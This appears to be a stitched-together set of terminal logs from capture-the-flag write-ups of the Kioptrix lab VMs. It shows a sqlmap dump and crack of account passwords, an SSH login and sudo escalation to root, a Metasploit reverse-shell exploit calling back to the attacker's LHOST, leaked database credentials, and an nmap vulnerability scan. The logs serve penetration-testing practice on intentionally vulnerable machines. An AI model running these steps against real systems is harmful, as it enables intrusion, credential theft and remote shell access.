[INFO] writing hashes to a temporary file '/tmp/sqlmapa2cskfzq12456/sqlmaphashes-0oyz7rlz.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] y [04:18:28] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [04:18:31] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] y [04:18:34] [INFO] starting dictionary-based cracking (md5_generic_passwd) [04:18:34] [INFO] starting 4 processes [04:18:39] [INFO] cracked password 'starwars' for user 'loneferret' [04:18:40] [INFO] cracked password 'Mast3r' for user 'dreg' Database: gallery Table: dev_accounts [2 entries] +----+---------------------------------------------+------------+ | id | password | username | +----+---------------------------------------------+------------+ | 1 | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg | | 2 | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret | +----+---------------------------------------------+------------+ [04:18:42] [INFO] table 'gallery.dev_accounts' dumped to CSV file '/root/.sqlmap/output/kioptrix3.com/dump/gallery/dev_accounts.csv' [04:18:42] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1 times [04:18:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/kioptrix3.com' [*] ending @ 04:18:42 /2019-12-13/
root@kali:~# ssh loneferret@192.168.84.144 loneferret@192.168.84.144's password: Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106 loneferret@Kioptrix3:~$ ls checksec.sh CompanyPolicy.README loneferret@Kioptrix3:~$ id uid=1000(loneferret) gid=100(users) groups=100(users) loneferret@Kioptrix3:~$ pwd /home/loneferret loneferret@Kioptrix3:~$ whoami loneferret loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ sudo /bin/sh # whoami root # id uid=0(root) gid=0(root) groups=0(root) # pwd /home/loneferret # cd /root # cat Congrats.txt Good for you for getting here. Regardless of the matter (staying within the spirit of the game of course) you got here, congratulations are in order. Wasn't that bad now was it. Went in a different direction with this VM. Exploit based challenges are nice. Helps workout that information gathering part, but sometimes we need to get our hands dirty in other things as well. Again, these VMs are beginner and not intented for everyone. Difficulty is relative, keep that in mind. The object is to learn, do some research and have a little (legal) fun in the process. I hope you enjoyed this third challenge. Steven McElrea aka loneferret http://www.kioptrix.com Credit needs to be given to the creators of the gallery webapp and CMS used for the building of the Kioptrix VM3 site. Main page CMS: http://www.lotuscms.org Gallery application: Gallarific 2.1 - Free Version released October 10, 2009 http://www.gallarific.com Vulnerable version of this application can be downloaded from the Exploit-DB website: http://www.exploit-db.com/exploits/15891/ The HT Editor can be found here: http://hte.sourceforge.net/downloads.html And the vulnerable version on Exploit-DB here: http://www.exploit-db.com/exploits/17083/ Also, all pictures were taken from Google Images, so being part of the public domain I used them.
msf5 > use exploit/multi/http/lcms_php_exec msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 192.168.84.144 RHOSTS => 192.168.84.144 msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp payload => generic/shell_reverse_tcp msf5 exploit(multi/http/lcms_php_exec) > set LHOST 192.168.84.135 LHOST => 192.168.84.135 msf5 exploit(multi/http/lcms_php_exec) > set URI / URI => /
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 192.168.84.135:4444 [*] Using found page param: /index.php?page=index [*] Sending exploit ... [*] Command shell session 2 opened (192.168.84.135:4444 -> 192.168.84.144:57666) at 2019-12-14 06:18:03 -0500
cat gallery/gconfig.php <?php error_reporting(0); /* A sample Gallarific configuration file. You should edit the installer details below and save this file as gconfig.php Do not modify anything elseif you don't know what it is. */ // Installer Details ----------------------------------------------- // Enter the full HTTP path to your Gallarific folder below, // such as http://www.yoursite.com/gallery // Do NOT include a trailing forward slash $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery"; $GLOBALS["gallarific_mysql_server"] = "localhost"; $GLOBALS["gallarific_mysql_database"] = "gallery"; $GLOBALS["gallarific_mysql_username"] = "root"; $GLOBALS["gallarific_mysql_password"] = "fuckeyou"; // Setting Details ------------------------------------------------- if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) { echo("A connection to the database couldn't be established: " . mysql_error()); die(); }else { if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) { echo("The Gallarific database couldn't be opened: " . mysql_error()); die(); }else { $settings=mysql_query("select * from gallarific_settings"); if(mysql_num_rows($settings)!=0){ while($data=mysql_fetch_array($settings)){ $GLOBALS["{$data['settings_name']}"]=$data['settings_value']; } } } } ?>
root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.142.129 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:openbsd:openssh:4.3: | CVE-2006-5051 9.3 https://vulners.com/cve/CVE-2006-5051 | CVE-2006-4924 7.8 https://vulners.com/cve/CVE-2006-4924 | CVE-2014-1692 7.5 https://vulners.com/cve/CVE-2014-1692 | CVE-2010-4478 7.5 https://vulners.com/cve/CVE-2010-4478 | CVE-2007-4752 7.5 https://vulners.com/cve/CVE-2007-4752 | CVE-2009-2904 6.9 https://vulners.com/cve/CVE-2009-2904 | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 | CVE-2016-10708 5.0 https://vulners.com/cve/CVE-2016-10708 | CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107 | CVE-2008-4109 5.0 https://vulners.com/cve/CVE-2008-4109 | CVE-2007-2243 5.0 https://vulners.com/cve/CVE-2007-2243 | CVE-2006-5052 5.0 https://vulners.com/cve/CVE-2006-5052 | CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755 | CVE-2012-0814 3.5 https://vulners.com/cve/CVE-2012-0814 | CVE-2011-5000 3.5 https://vulners.com/cve/CVE-2011-5000 | CVE-2011-4327 2.1 https://vulners.com/cve/CVE-2011-4327 |_ CVE-2008-3259 1.2 https://vulners.com/cve/CVE-2008-3259 80/tcp open http Apache httpd 2.2.3 ((CentOS)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.142.129 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.142.129:80/mail/ | Form id: rcmlogintz | Form action: ./ | | Path: http://192.168.142.129:80/?action=login | Form id: | Form action: ?action=login | | Path: http://192.168.142.129:80/mail/?_task=mail | Form id: rcmlogintz | Form action: ./ | | Path: http://192.168.142.129:80/mail/ | Form id: rcmlogintz |_ Form action: ./ |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /mail/: Mail folder | /logs/: Logs (401 Authorization Required) | /phpmyadmin/: phpMyAdmin | /css/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /docs/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /files/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /icons/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /inc/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /js/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /lib/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' | /manual/: Potentially interesting folder | /sql/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' |_ /templates/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)' |_http-server-header: Apache/2.2.3 (CentOS) | http-sql-injection: | Possible sqli for queries: | http://192.168.142.129:80/mail/program/js/?C=M%3bO%3dA%27%20OR%20sqlspider | http://192.168.142.129:80/mail/program/js/?C=S%3bO%3dA%27%20OR%20sqlspider | http://192.168.142.129:80/mail/program/js/?C=D%3bO%3dA%27%20OR%20sqlspider |_ http://192.168.142.129:80/mail/program/js/?C=N%3bO%3dD%27%20OR%20sqlspider |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-trace: TRACE is enabled |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) 110/tcp open pop3 Dovecot pop3d |_clamav-exec: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://www.ietf.org/rfc/rfc2246.txt | | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) | State: VULNERABLE | IDs: CVE:CVE-2015-4000 BID:74733 | The Transport Layer Security (TLS) protocol contains a flaw that is | triggered when handling Diffie-Hellman key exchanges defined with | the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker | to downgrade the security of a TLS session to 512-bit export-grade | cryptography, which is significantly weaker, allowing the attacker | to more easily break the encryption and monitor or tamper with | the encrypted stream. | Disclosure date: 2015-5-19 | Check results: | EXPORT-GRADE DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://weakdh.org | https://www.securityfocus.com/bid/74733 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 | | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 | sslv2-drown: | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | vulns: | CVE-2016-0800: | title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN) | state: VULNERABLE | ids: | CVE:CVE-2016-0800 | description: | The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and | other products, requires a server to send a ServerVerify message before establishing | that a client possesses certain plaintext RSA data, which makes it easier for remote | attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding | oracle, aka a "DROWN" attack. | | refs: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800 |_ https://www.openssl.org/news/secadv/20160301.txt 111/tcp open rpcbind 2 (RPC #100000) |_clamav-exec: ERROR: Script execution failed (use -d to debug) 143/tcp open imap Dovecot imapd |_clamav-exec: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://www.ietf.org/rfc/rfc2246.txt | | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) | State: VULNERABLE | IDs: CVE:CVE-2015-4000 BID:74733 | The Transport Layer Security (TLS) protocol contains a flaw that is | triggered when handling Diffie-Hellman key exchanges defined with | the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker | to downgrade the security of a TLS session to 512-bit export-grade | cryptography, which is significantly weaker, allowing the attacker | to more easily break the encryption and monitor or tamper with | the encrypted stream. | Disclosure date: 2015-5-19 | Check results: | EXPORT-GRADE DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://weakdh.org | https://www.securityfocus.com/bid/74733 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 | | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 |_sslv2-drown: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/https? |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-dh-params: | VULNERABLE: | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: mod_ssl 2.2.x/1024-bit MODP group with safe prime modulus | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 |_sslv2-drown: 993/tcp open ssl/imaps? |_clamav-exec: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://www.ietf.org/rfc/rfc2246.txt | | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) | State: VULNERABLE | IDs: CVE:CVE-2015-4000 BID:74733 | The Transport Layer Security (TLS) protocol contains a flaw that is | triggered when handling Diffie-Hellman key exchanges defined with | the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker | to downgrade the security of a TLS session to 512-bit export-grade | cryptography, which is significantly weaker, allowing the attacker | to more easily break the encryption and monitor or tamper with | the encrypted stream. | Disclosure date: 2015-5-19 | Check results: | EXPORT-GRADE DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://weakdh.org | https://www.securityfocus.com/bid/74733 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 | | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 | sslv2-drown: | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | vulns: | CVE-2016-0800: | title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN) | state: VULNERABLE | ids: | CVE:CVE-2016-0800 | description: | The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and | other products, requires a server to send a ServerVerify message before establishing | that a client possesses certain plaintext RSA data, which makes it easier for remote | attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding | oracle, aka a "DROWN" attack. | | refs: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800 |_ https://www.openssl.org/news/secadv/20160301.txt 995/tcp open ssl/pop3s? |_clamav-exec: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://www.ietf.org/rfc/rfc2246.txt | | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) | State: VULNERABLE | IDs: CVE:CVE-2015-4000 BID:74733 | The Transport Layer Security (TLS) protocol contains a flaw that is | triggered when handling Diffie-Hellman key exchanges defined with | the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker | to downgrade the security of a TLS session to 512-bit export-grade | cryptography, which is significantly weaker, allowing the attacker | to more easily break the encryption and monitor or tamper with | the encrypted stream. | Disclosure date: 2015-5-19 | Check results: | EXPORT-GRADE DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | https://weakdh.org | https://www.securityfocus.com/bid/74733 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 | | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 |_sslv2-drown: ERROR: Script execution failed (use -d to debug) 3306/tcp open mysql MySQL 5.0.45 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:mysql:mysql:5.0.45: | CVE-2009-2446 8.5 https://vulners.com/cve/CVE-2009-2446 | CVE-2008-0226 7.5 https://vulners.com/cve/CVE-2008-0226 | CVE-2009-5026 6.8 https://vulners.com/cve/CVE-2009-5026 | CVE-2009-4028 6.8 https://vulners.com/cve/CVE-2009-4028 | CVE-2010-1848 6.5 https://vulners.com/cve/CVE-2010-1848 | CVE-2010-1850 6.0 https://vulners.com/cve/CVE-2010-1850 | CVE-2008-7247 6.0 https://vulners.com/cve/CVE-2008-7247 | CVE-2010-3833 5.0 https://vulners.com/cve/CVE-2010-3833 | CVE-2010-1849 5.0 https://vulners.com/cve/CVE-2010-1849 | CVE-2008-4098 4.6 https://vulners.com/cve/CVE-2008-4098 | CVE-2008-2079 4.6 https://vulners.com/cve/CVE-2008-2079 | CVE-2012-0490 4.0 https://vulners.com/cve/CVE-2012-0490 | CVE-2012-0484 4.0 https://vulners.com/cve/CVE-2012-0484 | CVE-2012-0102 4.0 https://vulners.com/cve/CVE-2012-0102 | CVE-2012-0101 4.0 https://vulners.com/cve/CVE-2012-0101 | CVE-2012-0087 4.0 https://vulners.com/cve/CVE-2012-0087 | CVE-2010-3838 4.0 https://vulners.com/cve/CVE-2010-3838 | CVE-2010-3837 4.0 https://vulners.com/cve/CVE-2010-3837 | CVE-2010-3836 4.0 https://vulners.com/cve/CVE-2010-3836 | CVE-2010-3834 4.0 https://vulners.com/cve/CVE-2010-3834 | CVE-2010-3682 4.0 https://vulners.com/cve/CVE-2010-3682 | CVE-2010-3677 4.0 https://vulners.com/cve/CVE-2010-3677 | CVE-2009-4019 4.0 https://vulners.com/cve/CVE-2009-4019 | CVE-2008-3963 4.0 https://vulners.com/cve/CVE-2008-3963 | CVE-2010-1626 3.6 https://vulners.com/cve/CVE-2010-1626 | CVE-2012-0114 3.0 https://vulners.com/cve/CVE-2012-0114 | CVE-2008-4456 2.6 https://vulners.com/cve/CVE-2008-4456 |_ CVE-2012-0075 1.7 https://vulners.com/cve/CVE-2012-0075
$ sqlmap.py -r sqlmap.txt ___ __H__ ___ ___[)]_____ ___ ___ {1.3.12.1#dev} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:33:15 /2019-12-17/
